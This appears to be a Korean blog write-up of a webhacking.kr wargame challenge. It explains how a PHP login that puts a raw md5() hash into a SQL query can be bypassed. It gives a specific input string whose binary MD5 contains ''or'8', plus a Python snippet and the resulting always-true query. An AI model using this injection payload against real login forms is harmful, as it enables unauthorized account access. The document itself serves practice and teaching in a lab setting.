WEB/webhacking.kr (old)

webhacking.kr 51번

hongjw 2020. 2. 16. 18:23

먼저 제일 눈에 띈 view-source 클릭 !

addslashes() : 어떤 문자열을 데이터베이스의 필드값으로 저장하기 전에 사용되는 함수로, 문자열에 특수문자(작은 따옴표, 쌍 따옴표 등)가 포함되어 있다면 그러한 문자앞에 역슬래시를 붙여줌으로써 특수문자가 순수한 하나의 문자로 인식되어 저장

md5("문자열", true) : 문자열을 16자리의 바이너리 형식의 해쉬값으로 반환

 

php 코드를 해석해보면, 먼저 POST방식으로 입력한 id값($_POST['id'])과 pw값($_POST['pw'])을 받는다.

$_POST['id']와 $_POST['pw']는 select문의 id와 pw값으로 쓰이는데, 이 때 id가 존재하면 문제가 풀린다.

 

이 문제를 풀기위해서는 md5 취약점을 이용해야한다.

$_POST['pw']를 md5 해시값으로 만들었을 때, or 연산자가 나오게 하는 값을 찾아서 넣어주면 공격이 가능하다.

>>> import hashlib
>>> hashlib.md5('129581926211651571912466741651878684928'.encode()).digest()
b"\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8"

129581926211651571912466741651878684928 값을 md5인코딩하면 or이 나오는 것을 볼 수 있다. (검색해서 찾음..ㅎㅅㅎ)

따라서 $input_id에 admin을 넣고, $input_pw에 129581926211651571912466741651878684928를 넣어주면 문제가 해결된다 !

 

$input_id = admin

$input_pw = md5('129581926211651571912466741651878684928', true)

=> $input_pw = \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

 

select id from chall51 where id='($input_id)' and pw='($input_pw)'

=> select id from chall51 where id='admin' and pw='\\x06\\xdaT0D\\x9f\\x8fo#\\xdf\\xc1' or '8'

=> select id from chall51 where False or True => True가 된다 (◍•ᴗ•◍) !

 

 

 

참고

>> https://bbolmin.tistory.com/77

>> https://dydwo15.tistory.com/entry/addslashes-%ED%95%A8%EC%88%98

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 56번  (0) 2020.02.17
webhacking.kr 54번  (0) 2020.02.16
webhacking.kr 47번  (0) 2020.02.14
webhacking.kr 43번  (0) 2020.02.13
webhacking.kr 42번  (0) 2020.02.13